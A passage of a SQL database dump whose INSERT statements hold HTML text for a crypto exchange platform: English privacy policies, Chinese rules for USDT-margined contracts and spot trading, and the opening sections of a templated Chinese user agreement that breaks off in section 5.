    other products or services related to digital assets

    If we use your personal data in any direct marketing communications, you have the right to request that we provide you with the source of that personal data. There is no fee for requesting this information. We will provide you with the source of the personal data unless it is impracticable or unreasonable to do so.


    Please indicate your consent to receiving information relating to the above by contacting us at csr@tokpiedex.com.


    We may also use and disclose your information for other purposes under your requests or instructions.


    People to whom we disclose personal data

    We may share personal data about you with:


    your representatives, advisers, and others you have authorized to interact with us on your behalf

    our staff who need the information to discharge their duties

    related entities within our corporate group

    our business partners, agents and service providers

    prospective purchasers of all or part of our business or shares in our company or a related entity

    professional advisers who we engage to provide advice on our business

    government authorities who request us to disclose that information only due to a related court decision, or to other people as required by law

    In some cases, the people to whom we disclose your personal information may be located overseas. Further, we may have servers located overseas. The jurisdictions in which these people and servers are likely to be located include Hong Kong, Georgia, Estonia, Russia, the United States of America, and the United Kingdom. There may not be in place data protection laws, which are substantially similar to or serve the same purposes as the applicable data privacy laws in Hong Kong. This means your personal information may not be protected to the same or similar level in Hong Kong. We will never sell your personal data to any third party.


    Cookies

    We use cookies to monitor and observe your use of our websites, compile aggregate data about that use, and provide you with a more effective service (which may include customizing parts of our websites based on your preferences and past activities on those websites). “Cookies” are small text files created and stored on your hard drive by your internet browser software, to hold relevant information about the web page you are currently viewing. Most internet browsers have a facility that will allow you to disable cookies altogether – please refer to your browser’s help menu to find out how to do this. While you will still be able to browse our websites with cookies disabled on your internet browser, some website functionality may not be available or may not function correctly.


    Storage and security of personal data

    We store the personal data that we collect in electronic databases, some of which may be held on our behalf by third party data storage providers. Sometimes we also keep hard copy records of this personal data in physical storage facilities. We use a range of physical and technical security processes and procedures to protect the confidentiality and security of the information that we hold, and we update these from time to time to address new and emerging security threats that you become aware of.


    We also take steps to monitor access to and modification of your information by our staff, and ensure that our staff is aware of and properly trained in their obligations for managing your privacy.


    Google Analytics

    Our website uses Google Analytics, a web analytics service provided by Google, Inc. (“Google”). Google Analytics uses cookies to help the website analyze how users use our website.


    The information generated by the cookie about your use of our website (including your IP address) will be transmitted to and stored by Google on servers in the United States. Google will use this information for the purpose of evaluating your use of the website, compiling reports on website activity for website operators and providing other services relating to website activity and internet usage. Google may also transfer this information to third parties where required to do so by law, or where such third parties process the information on Google’s behalf. Google will not associate your IP address with any other data held by Google.


    You may refuse the use of cookies by selecting the appropriate settings on your browser, however, please note that if you do this, you may not be able to use the full functionality of our website. By using our website, you consent to the processing of data about you by Google in the manner and for the purposes set out above.


    Retention of personal data

    Your personal data will not be kept longer than required.


    We may retain your personal data for 5 years. At our discretion, we may retain personal data for longer than the said period if we consider it necessary or desirable to do so to meet our legal or regulatory obligations.


    Access and correction

    If you want to access any of the personal data that we hold about you or to correct some aspect of it (e.g., because you think it is incomplete or incorrect), please contact our privacy compliance team using the contact details set out below. To protect the integrity and security of the information we hold, we may ask that you follow a defined access procedure, which may include steps to verify your identity. In certain cases, we may charge you an administration fee for providing you with access to the information you have asked for, but we will inform you of this before proceeding. There may be cases where we are unable to provide the information you request, such as where it would interfere with the privacy of others or result in a breach of confidentiality. In these cases, we will let you know why we cannot comply with your request.


    Even if you do not request access to and/or correct your personal data held by us, if we are satisfied that, having regard to the reasons for which we hold your personal data, that personal data is inaccurate, incomplete, out-of-date, irrelevant or misleading, we may take reasonable steps to correct that information.


    Your Consent

    By using our site, providing personal data and using any of our products or services, you agree that:


    you consent to this privacy policy, as updated from time to time; and

    if you have provided personal data to us relating to any other person, you:

    have a right to provide that information;

    have provided a copy of this privacy policy, as updated from time to time, to that person; and

    each such person has agreed to those terms.

    Complaints

    We try to meet the highest standards to protect your privacy. However, if you are concerned about the way in which we are managing your personal data and think we may have breached any applicable privacy laws or any other relevant obligation, please contact our privacy compliance team using the contact details set out below. We will make a record of your complaint and refer it to our internal complaint resolution department for further investigation. We will deal with the matter as soon as we can, and keep you informed of the progress of our investigation.


    If we have not responded to you within a reasonable time or if you feel that your complaint has not been resolved to your satisfaction, you are entitled to make a complaint to the Hong Kong Privacy Commissioner for Personal Data.


    Changes to this policy

    We may make changes to this policy from time to time, to take into account changes to our standard practices and procedures or where necessary to comply with new laws and regulations. The latest version of this policy will always be available on our website.


    ', '0', '2023-08-08 16:11:29', 5, NULL); +INSERT INTO `t_option_rules` VALUES (100116, '1', 'en', '

    Welcome to visit our products. Sonecoin (including services provided by App and other products, hereinafter referred to as \"products and services\") is developed and operated by sube (hereinafter referred to as \"we\"). Ensuring user data security and privacy protection is our top priority. This Privacy Policy sets out the data collected and how it is processed when you access and use our products and services.


    Please be sure to carefully read and confirm that you fully understand all the rules and points of this privacy policy before continuing to use our products. Once you choose to use it, you are deemed to agree to the entire content of this privacy policy and agree to our collection and use of your information. related information. If you have any questions about this policy during the reading process, you can contact our customer service for consultation. Please contact us through yopmfa@gmail.com or the feedback method in the product. If you do not agree to the relevant agreement or any of its terms, you should stop using our products and services.


    This Privacy Policy helps you understand the following:


    1. How we collect and use your personal information;


    2. How we store and protect your personal information;


    3. How we share, transfer and publicly disclose your personal information;


    4. How do we use cookies and other tracking technologies;


    5. How do we handle the personal information of minors;


    1. How we collect and use your personal information


    Personal information refers to various information recorded electronically or in other ways that can identify a specific natural person or reflect the activities of a specific natural person, either alone or in combination with other information. According to the \"Network Security Law of the People\'s Republic of China\" and \"Information Security Technology Personal Information Security Specifications\" (GB/T 35273-2017) and other relevant laws and regulations, and strictly follow the principles of legitimacy, legality and necessity, for your Collect and use your personal information in the process of using the services and/or products we provide, including but not limited to phone numbers, email addresses, preferences and interests, etc.


    In order to receive our comprehensive product services, you should first register a user account, through which we will record relevant data. All the information you provide comes from the data you provide during registration and the data we obtain from third-party partners. The account name, password, and your own contact information you are going to use, we may verify whether your identity is valid by sending text messages or emails.


    2. How we store and protect your personal information


    As a general rule, we only retain your personal information for as long as necessary to fulfill the purposes for which it was collected. We retain your personal information for as long as is strictly necessary to manage our relationship with you (for example, when you open an account, obtain services from our products). We may need to retain your personal information on file beyond the expiration of the above periods to comply with a legal obligation or to demonstrate that a right or contract satisfies applicable statute of limitations requirements and cannot be deleted at your request. We ensure that your personal data is completely deleted or anonymized when it is no longer necessary for the purposes or archives corresponding to our statutory obligations or statutory statute of limitations. If you confirm that you will no longer use our products and services, and actively cancel your account as required, all information will be completely deleted.


    We use industry-standard security measures to protect the personal information you provide, and encrypt key data in it to prevent unauthorized access, public disclosure, use, modification, damage or loss. We will take all reasonable and feasible measures to protect your personal information. We will use encryption technology to ensure the confidentiality of data; we will use trusted protection mechanisms to prevent data from malicious attacks.


    It is worth mentioning that in order to strengthen the protection of private data, we have desensitized it when collecting it, and even in our own database, we will not store associated private data in clear text.


    3. How do we share, transfer and publicly disclose your personal information


    When it is necessary to manage our daily business activities, we will use your personal information in a compliant and appropriate manner in order to pursue legitimate interests and better serve customers. Out of comprehensive consideration of business and various aspects, we will share this data with third-party partners, and this data will also comply with their privacy policies and will not be disposed of arbitrarily.


    We may share your personal information externally in accordance with laws and regulations, or in accordance with the mandatory requirements of government authorities. Under the premise of complying with laws and regulations, when we receive the above request for information disclosure, we will require to issue corresponding legal documents, such as subpoenas or investigation letters. We firmly believe that we should be as transparent as the law allows about the information we are asked to provide.


    In the following situations, sharing, transferring, and publicly disclosing your personal information does not require your prior authorization and consent:


    1. Directly related to national security and national defense security;


    2. Directly related to criminal investigation, prosecution, trial and execution of judgments;


    3. For the protection of your or other personal life, property and other major legitimate rights and interests, but it is difficult to obtain the consent of the person;


    4. Personal information that you disclose to the public by yourself;


    5. Collecting personal information from legally disclosed information, such as legal news reports, government information disclosure and other channels.


    6. It is necessary to sign and perform a contract according to the requirements of the personal information subject;


    7. It is necessary to maintain the safe and stable operation of the products or services provided, such as discovering and handling product or service failures;


    8. Other circumstances stipulated by laws and regulations.


    4. How do we use cookies and other tracking technologies


    In order to ensure the normal operation of the product, we will store a small data file called a cookie on your computer or mobile device. Cookies usually contain identifiers, product names and some numbers and characters. With the help of cookies, we can store data such as your preferences or products, and use them to determine whether registered users have logged in, improve service and product quality, and optimize user experience.


    We use various cookies for different purposes, including: strictly necessary cookies, performance cookies, marketing cookies and functional cookies. Certain cookies may be served by external third parties to provide additional functionality to our products. We will not use cookies for any purpose other than those stated in this policy. You can manage or delete cookies according to your own preferences. You can clear all cookies saved on your computer or mobile phone, and most web browsers have the function of blocking or disabling cookies, and you can configure the browser. After blocking or disabling the cookie function, your use of our products and services may be affected or cannot be fully used.


    V. How do we handle personal information of minors


    Our products, websites and services are primarily intended for adults. Children may not create their own user accounts without the consent of a parent or guardian. For the collection of children\'s personal information with parental consent, we will only use or publicly disclose this information when permitted by law, with the explicit consent of parents or guardians, or when it is necessary to protect children.


    If we discover that we have collected personal information from children without prior verifiable parental consent, we will try to delete the data as soon as possible. If you are the guardian of a minor, please contact us in time when you have any questions about the minor under your guardianship\'s use of our services or the user information provided to us. We will protect the confidentiality and security of minor user information in accordance with relevant national laws and regulations and this policy.

    ', '0', '2023-08-11 16:40:06', 0, NULL); +INSERT INTO `t_option_rules` VALUES (100117, 'U本位规则', 'zh', '

    合约类型: U本位合约可以基于不同的加密货币,如BTC/USDT、ETH/USDT等。这些合约允许您以USDT来计价和交易这些加密货币的价格变动。


    交易单位: 合约的交易单位通常以基础加密货币(如比特币、以太坊)为基准,例如,1个BTC/USDT合约可能等同于0.001 BTC。这取决于交易所和合约的具体设置。


    合约大小: 合约大小指的是每个合约的价值,以USDT计价。它会随着基础加密货币的价格而变化。例如,BTC/USDT合约的大小可能是100 USDT,当比特币价格上涨或下跌时,合约大小会相应变化。


    保证金和杠杆: 交易者需要提供一定数量的USDT作为保证金,以便在合约交易中承担亏损。不同的交易所和平台提供不同的杠杆倍数,允许交易者使用少量的保证金控制更大的头寸。


    交易费用: 交易U本位合约通常会产生交易费用,这些费用可能包括开仓费、平仓费、过夜持仓费等,具体取决于交易所的政策。


    结算和盈亏: 合约的盈亏计算以及每日的结算通常以USDT为单位。当您平仓或者每日结算时,盈利或亏损会计算并反映在您的USDT余额中。


    合约到期: 有些合约可能有到期时间,到期时合约将被结算,持仓会被平仓。到期前,您可以选择续约或平仓。


    请注意,具体的规则和设置可能因交易所而异,因此在交易之前,您应该仔细阅读交易所的U本位合约规则和用户协议,以确保您充分了解合约的特性、费用、风险以及交易所的政策。

    ', '0', '2023-08-16 15:59:25', 4, NULL); +INSERT INTO `t_option_rules` VALUES (100118, '币币交易规则', 'zh', '

    币币交易是指一种数字资产对另外一种数字资产的交易,以ETH/USDT币对为例,ETH就是“交易货币”,USDT则是“计价货币”,可以理解为用USDT买ETH。


    一、资金划转


    在进行币币交易之前,需要先进行资金划转,把数字资产USDT划转到现货账户里。


    二、买入,卖出


    以DOGE为例:打开APP,进入【交易】页面 — 点击左上角币对框【DOGE/USDT】;在新页面下点击切换交易模式-币币交易 。

    选择【买入】&【卖出】—【限价委托】— 输入【价格】、【数量】—点击【买入DOGE】


    注:当市场价格达到用户预期,系统会以事前设置的委托价格送入市场中撮合成交。




    ', '0', '2023-08-16 16:00:28', 2, NULL); +INSERT INTO `t_option_rules` VALUES (100119, '服务条款', 'zh', '

    PLATFORM_TITLE 用户协议


    本协议(“协议”)适用于居住在美国、英国、欧洲经济区、日本和新加坡以外的客户。


    在查看这些术语时,您会看到一些文本是绿色的。这些条款仅适用于 CB Payments, Ltd 向您提供的受监管服务,不适用于 PLATFORM_TITLE Kenya Limited 向您提供的服务。


    CB Payments, Ltd(也以 PLATFORM_TITLE 名义交易)受英国金融行为监管局监管。


    这是您与以下各方之间的合同:CB Payments, Ltd(“PLATFORM_TITLE Payments”)是一家在英格兰和威尔士注册成立的私人有限公司,公司编号为 09708629,注册办公地址为 5 Fleet Place, London EC4M 7RD, United Kingdom;和PLATFORM_TITLE Ascending Markets Kenya Limited(“PLATFORM_TITLEKenya”)是一家在肯尼亚注册成立的私人有限公司(公司编号 PVT-27U5Y39Y),注册办公地址为 P.O.邮政信箱 10643号信箱肯尼亚内罗毕。本协议中对“PLATFORM_TITLE”、“我们”、“我们的”或“我们”的引用是指 PLATFORM_TITLE Payments 和/或 PLATFORM_TITLE Kenya,具体取决于所讨论的服务,而对“您”或“您的”的引用是指PLATFORM_TITLE 与之签订本协议的人。通过 PLATFORM_TITLE.com 或 pro.PLATFORM_TITLE.com 或我们的任何关联网站、应用程序编程接口(“API”)或移动应用程序(统称“网站”)注册使用帐户,即表示您同意阅读、理解并接受本协议中包含的所有条款和条件,以及我们的隐私政策和 Cookie 政策。我们将电子货币服务、数字货币服务和附加服务(定义见下文)统称为“PLATFORM_TITLE 服务”,可通过 PLATFORM_TITLE 运营的平台(“PLATFORM_TITLE 平台”)(包括在线平台)访问可通过网站或 PLATFORM_TITLE 不时规定的位置访问)。只有在 PLATFORM_TITLE <br>Payments 自行决定提供电子货币服务时,才会自动提供对电子货币服务的访问。


    如下文第 2 条所述,每项 PLATFORM_TITLE 服务均由 PLATFORM_TITLE Payments 或 PLATFORM_TITLE Kenya 提供。*您应该知道,交易或持有数字货币的损失风险可能很大。与任何资产一样,数字货币的价值可能会上升或下降,并且可能存在您在购买、出售、持有或投资数字货币时亏损的巨大风险。数字货币服务和附加服务目前不受金融行为监管局、肯尼亚中央银行或英国或肯尼亚任何其他监管机构的监管。数字货币服务和附加服务不在英国金融监察员服务的管辖范围内,您的数字货币和电子货币不受英国金融服务补偿计划的保护。根据肯尼亚中央银行 2015 年第 14 号通知,数字货币在肯尼亚不是法定货币,因此如果 PLATFORM_TITLE 面临财务困难,您无法获得任何保护。您应该根据您的财务状况仔细考虑交易或持有数字货币是否适合您。*


    1. 资格。


    要获得使用任何 PLATFORM_TITLE 服务的资格,您必须年满 18 岁并且居住在可以访问相关 PLATFORM_TITLE 服务的国家/地区。请注意,并非所有 PLATFORM_TITLE 服务在每个国家都可用。按国家/地区可访问的 PLATFORM_TITLE 服务列表可在 https://www.PLATFORM_TITLE.com/global 找到。


    2. 服务。


    2.1 电子货币服务。


    PLATFORM_TITLE Payments 可能会向您提供以下服务(“电子货币服务”):(A) 托管数字钱包(“电子货币钱包”),使您能够存储由 CB Payments 发行的以法定货币(“电子货币”)计价的电子货币;和


    (B) 使您能够发送和接收电子货币的某些支付服务(如下所述)。


    电子货币服务受英国金融行为监管局 (“FCA”) 监管。PLATFORM_TITLE Payments 是一家由 FCA 授权和监管的授权电子货币机构,注册号为 900635。对电子货币服务的访问不是自动的,只有在 PLATFORM_TITLE Payments 自行决定提供这些服务时才提供。


    2.2 数字货币服务。


    PLATFORM_TITLE Kenya 可能向您提供以下服务(“数字货币服务”):


    (A) 一个或多个托管数字货币钱包(“数字货币钱包”),使您能够存储、跟踪、转移和管理某些受支持的数字货币(如比特币或以太坊)的余额(统称为“数字货币”或“数字货币” ”);


    (B) 一种数字货币兑换服务,使您能够获得购买和销售数字货币的价格,并且(受某些限制)执行网站上的任何此类购<br>买或销售(“数字货币兑换服务”)。与电子货币服务不同,数字货币服务不受监管。 PLATFORM_TITLE Kenya 不是受监管的金融服务提供商。 PLATFORM_TITLE Kenya 位于肯尼亚,并在肯尼亚提供服务。重要提示:PLATFORM_TITLE Kenya 不是受监管的金融服务提供商,未在肯尼亚中央银行、资本市场管理局或肯尼亚任何其他金融服务监管机构注册、监管或授权,因此您将无法利用与此类受监管实体相关的监管保护,例如投资者或存款保护计划。


    2.3 其他 PLATFORM_TITLE 服务


    除了核心服务(即电子货币服务和数字货币服务)之外,PLATFORM_TITLE Kenya(或 PLATFORM_TITLE 集团的其他成员,定义见第2.6 节)可能会提供以下服务(“附加服务”)下面)给满足某些资格标准的用户:


    (A) 数字货币订单簿交换平台(详见附录 4)(“PLATFORM_TITLE Pro”);


    (B) PLATFORM_TITLE 提供的开发应用程序(详见附录 5)(“开发者工具”);


    (C) 质押服务(详见附录 6)(“质押服务”)。


    2.4 若干责任。您同意 PLATFORM_TITLE Payments 和 PLATFORM_TITLE Kenya 在本协议项下的责任是单独的而不是连带的,并且 PLATFORM_TITLE Payments 和 PLATFORM_TITLE Kenya 各自仅对各自在本协议项下的义务以及他们对这些义务的任何违反承担责任义务。这意味着他们每个人都对您自己违反本协议的行为负责,而不是对彼此的违反行为负责。


    2.5 费用。您同意负责支付并支付所有费用。 PLATFORM_TITLE 服务的完整费用清单(不时修订)可在网站的“定价和费用披露”和“交易费用”页面上找到,这些页面应构成本协议的一部分。


    2.6 PLATFORM_TITLE 集团。在本协议中,“PLATFORM_TITLE 集团”是指 PLATFORM_TITLE Kenya 及其附属公司,包括提供数字货币存储和钱包服务的特拉华州公司 PLATFORM_TITLE, Inc.。此定义不包括仅提供电子货币服务的所有公司附属机构,包括但不限于 PLATFORM_TITLE Payments。


    2.7 支付服务合作伙伴。 PLATFORM_TITLE 可能会使用第三方支付处理器或收款代理来处理您与 PLATFORM_TITLE 之间以相关国家/地区的相关中央银行发行的货币计价的任何付款,包括但不限于与相关的付款禁止您使用电子货币钱包或 PLATFORM_TITLE 账户中的数字货币交易或存款或取款。


    3. 帐户设置。


    3.1 PLATFORM_TITLE 账户注册。要使用 PLATFORM_TITLE 服务,您需要通过提供您的详细信息(包括您的姓名、电子邮件地址和密码)并接受本协议的条款来注册一个 PLATFORM_TITLE 帐户(“PLATFORM_TITLE 帐户”)。使用 PLATFORM_TITLE 帐户,即表示您同意并声明您将仅为自己使用 PLATFORM_TITLE 服务,而不代表任何第三方,除非您已根据本协议第 3.2 和 4.10 节事先获得 PLATFORM_TITLE 的批准。每个客户只能注册一个 PLATFORM_TITLE 帐户。您对在您的 PLATFORM_TITLE 账户下发生的所有活动负全部责任。我们可以自行决定拒绝为您开立 PLATFORM_TITLE 账户,或暂停或终止任何 PLATFORM_TITLE 账户(包括但不限于重复账户)或暂停或终止您账户中特定数字货币的交易。


    3.2 第三方访问。如果在第 4.10 条允许的范围内,您明确允许受监管的第三方通过受监管的第三方的产品或服务或通过网站访问或连接到您的 PLATFORM_TITLE 账户,您承认授予许可受监管的第三方代表您采取特定行动并不免除您在本协议项下的任何责任。您对访问您的 PLATFORM_TITLE 账户的任何受监管第三方的所有作为或不作为负全部责任,并且该受监管第三方的任何行为均应被视为您授权的行为。此外,您承认并同意,您不会要求 PLATFORM_TITLE 对因访问您的 PLATFORM_TITLE 账户的任何受监管第三方的任何作为或不作为而产生或与之相关的任何责任承担责任,并将赔偿 PLATFORM_TITLE。您可以随时通过网站“设置”页面上的选项卡更改或删除您授予受监管第三方关于您的 PLATFORM_TITLE 帐户的权限。


    3.3 身份验证。您同意向我们提供我们要求的信息(我们可以y 在任何认为必要的时候要求)用于身份验证和侦查洗钱、恐怖主义融资、欺诈或任何其他金融犯罪,包括附录 2(验证程序和限制)中规定的,并允许我们保留此类信息的记录。您需要先完成某些验证程序,然后才能开始使用 PLATFORM_TITLE 服务并访问特定的 PLATFORM_TITLE 服务,包括某些电子货币和数字货币的转移,并且适用于您使用 PLATFORM_TITLE 服务的限制可能是由于持续收集的信息而改变。我们要求的信息可能包括(但不限于)个人信息,例如您的姓名、居住地址、电话号码、电子邮件地址、出生日期、纳税人识别号、政府识别号、有关您的银行帐户的信息(例如银行名称、账户类型、路由号码和帐号)网络状态、客户类型、客户角色、计费类型、移动设备标识符(例如国际移动用户身份和国际移动设备身份)和其他用户状态详细信息,以及根据适用法律要求 PLATFORM_TITLE 不时收集的任何此类信息。您可能还需要进行“强化尽职调查”(见下文第 6.2 节),其中 PLATFORM_TITLE 可能会要求您提交有关您自己或您的业务的其他信息、提供相关记录并安排与 PLATFORM_TITLE 员工的会议,以便 PLATFORM_TITLE 可以:除其他外,确定您在使用 PLATFORM_TITLE 服务过程中进行的任何交易的财富来源和资金来源。在向我们提供此信息或可能需要的任何其他信息时,您确认该信息是真实、准确和完整的,并且您没有隐瞒任何可能影响 PLATFORM_TITLE 为您注册 PLATFORM_TITLE 帐户而对您的评估的信息或向您提供 PLATFORM_TITLE 服务。您承诺及时以书面形式通知并向 PLATFORM_TITLE 提供有关可能导致所提供的任何此类信息变得虚假、不准确或不完整的任何情况变化的信息,并承诺提供 PLATFORM_TITLE 可能要求的任何其他额外文件、记录和信息和/或适用法律。您允许我们保留此类信息的记录。我们将根据第 11 条(数据保护)处理这些信息。您授权我们直接或通过第三方进行我们认为必要的查询,以验证您的身份或保护您和/或我们免受欺诈或其他金融犯罪,并根据此类结果采取我们合理认为必要的行动查询。当我们进行这些查询时,您承认并同意您的个人信息可能会被披露给信用参考和欺诈预防或金融犯罪机构,并且这些机构可能会全面回应我们的查询。这只是身份检查,不会对您的信用评级产生不利影响。此外,我们可能会要求您在交易完成后等待一段时间,然后才能允许您使用更多的 PLATFORM_TITLE 服务和/或允许您进行超出特定交易量限制的交易。


    4. 电子货币服务


    4.1 加载。您可以使用银行转账(或网站上适用于您所在位置的其他付款方式)将资金存入您的 E-Money 钱包,一旦我们收到资金,您的 E-Money 钱包将显示已加载的资金。资金的加载可以手动完成,也可以作为您在 PLATFORM_TITLE 账户上设置的定期交易的一部分(有关更多详细信息,请参见下文第 5.12 节)。您只能从您自己的账户中加载您自己的资金,而不能从任何联合、集合或第三方账户中加载。当资金被加载到 E-Money 钱包中时,PLATFORM_TITLE Payments 将向您发放 E-Money,代表您已加载的资金。电子货币钱包不是存款或投资账户,这意味着您的电子货币将不受金融服务补偿计划的保护。 PLATFORM_TITLE Payments 只会将来自用户的资金存放在受监管金融机构的指定保管账户中。电子货币钱包中的电子货币不会赚取任何利息。您的电子货币钱包可能持有以不同货币计价的电子货币,我们将显示您持有的每种货币的电子货币余额。


    4.2 购买或出售数字货币。您可以使用记入您的电子货币钱包的电子货币购买支持的数字货币。要使用电子货币进行数字货币交易,您必须遵循网站上的相关说明。使用电子货币的数字货币交易通常应在我们收到您的指示后的一个工作日内结算。你授权我们从您的电子货币钱包中扣除电子货币。尽管我们将尝试尽快向您交付数字货币,但在将数字货币交付到您的数字货币钱包之前,电子货币可能会从您的电子货币钱包中扣除。您可以出售数字货币以换取电子货币。您授权我们从您的数字货币钱包中借记,并在您的电子货币钱包中记入相关金额的电子货币。


    4.3 收到指令。如果我们在非工作日或工作日下午 4:30(伦敦时间)之后收到您使用 E-Money 购买数字货币的指示,我们可能会将这些指示视为我们在以下时间收到的指示营业日。


    4.4 撤销。当您向我们指示使用电子货币进行数字货币交易时,您不能撤回对该数字货币交易的同意,除非数字货币交易要到未来的约定日期才会发生,例如如果您已设置未来交易(有关详细信息,请参阅下文第 5.12 节)。在未来交易的情况下,您可以在未来交易到期日的前一个工作日结束之前撤回您的同意。要撤回您对未来交易的同意,请按照网站上的说明进行操作。


    4.5 不成功的付款。如果将资金存入您的电子货币钱包的付款不成功,您授权 PLATFORM_TITLE 自行决定取消任何相关的数字货币交易或从您的其他付款方式(包括 PLATFORM_TITLE 余额或其他关联账户)中扣除完成相关数字货币交易所需的任何金额。您有责任保持足够的余额和/或足够的信用额度,以避免透支或支付提供商收取的类似费用。


    4.6 账户信息。您将能够使用本网站查看您的电子货币钱包余额和交易历史记录,包括 (i) 每次数字货币购买的金额(和货币),(ii) 识别付款人和/或收款人的参考(视情况而定),(iii) 收取的任何费用(包括费用明细),(iv) 进行货币兑换的情况、兑换率以及兑换后的金额(以新货币计)(您所在的地方)付款人)或兑换前的金额(以原始货币计)(您是收款人),以及 (v) 每笔数字货币购买的借记或贷记日期(视情况而定)。


    4.7 兑换电子货币。您可以随时通过选择网站中的相关选项并按照说明赎回您的电子货币钱包中的全部或部分电子货币。除非另有约定,否则资金将转入您在我们注册的银行账户。如果本协议终止,我们将赎回您 E-Money 钱包中剩余的任何 E-Money,并尝试将资金转入您在我们注册的银行账户。在从您的电子货币钱包中兑换电子货币之前,我们可能会根据适用法律的要求进行检查,以防止欺诈、洗钱、恐怖主义融资和其他金融犯罪。这可能意味着您将被阻止或延迟提取 E-Money,直到这些检查以我们合理的满意程度完成以符合我们的监管要求。


    4.8 未经授权和不正确的交易。如果使用您的凭证从您的电子货币钱包开始购买数字货币和/或赎回电子货币,除非您另行通知我们,否则我们将假定您授权了此类交易。如果您认为使用您的电子货币钱包进行了未经您授权的交易(“未经授权的交易”),或者如果您有理由相信使用您的电子货币钱包的交易被错误地执行或不完整(“错误交易”),您必须尽快联系我们,无论如何不得迟于发生未经授权的交易或错误交易后的 13 个月。请务必定期检查您的电子货币钱包余额和交易历史记录,以确保识别任何未经授权的交易或不正确的交易并尽早通知我们。我们不对未经授权的交易或错误交易的任何索赔负责,除非您已根据本第 4.8 条通知我们,在这种情况下,下文第 4.9条规定了我们各自的责任。如下文第 4.9 节进一步所述,如果您以欺诈、故意或重大过失行为而导致未经授权的交易或不正确的交易,我们不对未经授权的交易或不正确的交易提出的任何索赔负责在对任何实际或潜在的未经授权的交易或不正确的交易进行任何调查期间,我们保留暂停您的 PLATFORM_TITLE 帐户以避免进一步的损失。


    4.9 退款权利。


    (A) 未经授权的交易 - 电子货币钱包。


    如果由于我们的失败而在您的电子货币钱包中发生未经授的交易,我们将在得知未经授权的交易后的下一个工作日结束之前退还您该交易的金额并恢复您的电子货币如果未发生未经授权的交易,货币钱包将处于的状态。一般而言,在您将未经授权的交易通知我们或我们未能在任何时候向您提供通知我们的方式后发生的损失,您将不承担任何责任。您将承担因使用丢失或被盗凭证而在您的电子货币钱包中发生的未经授权交易(例如,当您未能保留您的登录详细信息时)造成的任何损失的前 35 英镑PLATFORM_TITLE 帐户安全),并且如果您存在欺诈行为,或者您故意或疏忽未能履行您在本协议下的义务,这会导致您的电子货币钱包中出现未经授权的交易(例如,如果您故意与第三方,或在保护您的电子邮<br>件和密码安全方面存在严重疏忽,在这两种情况下(第 3.2 和/或 4.10 节除外),您将对因任何此类未经授权的交易而产生的所有损失承担责任,不仅仅是第一个 35 英镑。


    如果我们与您之间就交易是否为未经授权的交易存在争议,我们可以(但没有义务)在解决争议期间暂时记入您的电子货币钱包。如果我们确定交易已获授权,我们可能会在不事先通知您的情况下撤销该信用并纠正在 E-Money Wallet 的任何声明中出现的错误,但请注意,在此期间您的 E-Money Wallet 可能会被暂时锁定以避免进一步的未经授权的交易。对于您转移的任何暂时记入您的 E-Money 钱包的 E-Money,您还将对我们负责(作为债务)。


    (B) 错误交易 - 电子货币钱包。


    如果由于我们的行为或错误而在您的电子货币钱包中进行了不正确的交易,我们将立即向您退还该交易的金额,并将您的电子货币钱包恢复到原本的状态未发生不正确的交易。我们还将尽可能向您提供合理的通知。我们还将支付我们负责的任何费用,以及您可以证明您因任何不正确交易而必须支付的任何利息。无论我们承担何种责任,根据您的要求,我们将尝试免费追踪您发起的任何错误交易。但是,我们不能保证我们将能够追踪此类交易。


    4.10 受监管第三方的任命。如第 3.2 节所述,您可以指定受适当监管的第三方访问您的电子货币钱包(“受监管的第三方”)。如果您这样做,您应该知道,通过此类访问,受监管的第三方可能会访问您的交易和其他数据,和/或可能会从您的电子货币钱包发起转账。您将对任何受监管的第三方对您的 PLATFORM_TITLE 账户采取的任何行动负责,如上文第 3.2 节所述。我们保留拒绝访问任何受监管第三方的权利,如下文第 4.11 节所述。


    4.11 拒绝与受监管的第三方打交道。根据适用法律的要求,我们可能会出于客观合理且有充分证据的原因拒绝访问受监管的第三方,这些理由与未经授权或欺诈性访问您的电子货币钱包、洗钱、恐怖主义融资、欺诈或任何其他金融犯罪有关。在这种情况下,除非适用法律禁止我们,否则我们将通知您受监管第三方的访问已被拒绝以及原因。一旦我们确信拒绝访问的原因不再存在,我们将再次允许访问。


    4.12 同意。通过在我们这里开设 PLATFORM_TITLE 账户,您明确同意我们向您提供支付服务(即电子货币服务)。您可以随时通过关闭您的 PLATFORM_TITLE 帐户来撤销此同意。为免生疑问,本同意与我们根据数据保护法律法规处理您的个人信息或您的权利无关。请参阅下文第 11 节(数据保护)和我们的隐私政策,了解我们如何处理您的个人数据以及您在这方面拥有的权利。


    4.13 金融监察员服务。如果您对 PLATFORM_TITLE Payments 向您提供的电子货币服务提出投诉,并且该投诉无法通过第 10.2节中规定的争议程序解决,您可以采取向金融申诉专员服务(“FOS”) 提出的未解决的投诉。您同意,在第 10.2 条规定的争议程序完成之前,您不会向 FOS 提出投诉。您可以使用以下详细信息找到有关 FOS 以及有资格向 FOS 提交问题的投诉人类型的更多信息:


    地址:金融监察员服务,交易塔,海港交易所,伦敦,E14 9SR


    电话:0800 023 4567 或 0300 123 9 123


    电子邮件:complaint.info@financial-ombudsman.org.uk


    网站:http://www.financial-ombudsman.org.uk


    5. 数字货币服务。


    5.1 总则。您的数字货币钱包使您能够通过网站发出指令,向 PLATFORM_TITLE 平台以外的其他用户或第三方发送数字货币,并向其请求、接收和存储数字货币(每笔此类交易都是“数字货币交易” )。数字货币兑换服务使您能够使用以下方式在 PLATFORM_TITLE 平台上购买数字货币:(A) 来自您与 PLATFORM_TITLE Payments 一起持有的 E-Money 钱包中的 E-Money;


    (B) PLATFORM_TITLE 支持的央行发行的货币(如英镑或欧元);和/或


    (C) 您的数字货币钱包中的其他类型的数字货币。相反,当您在 PLATFORM_TITLE 平台上出售数字货币时,您可以选择接收:


    (D) 将电子货币存入您使用 PLATFORM_TITLE Payments 持有的电子


    货币钱包;


    (E) PLATFORM_TITLE 支持的央行发行货币(如英镑或欧元);和/或


    (F) 您的数字货币钱包中的其他类型的数字货币。PLATFORM_TITLE 促进并支持其客户在 PLATFORM_TITLE 平台上购买和销售数字货币。


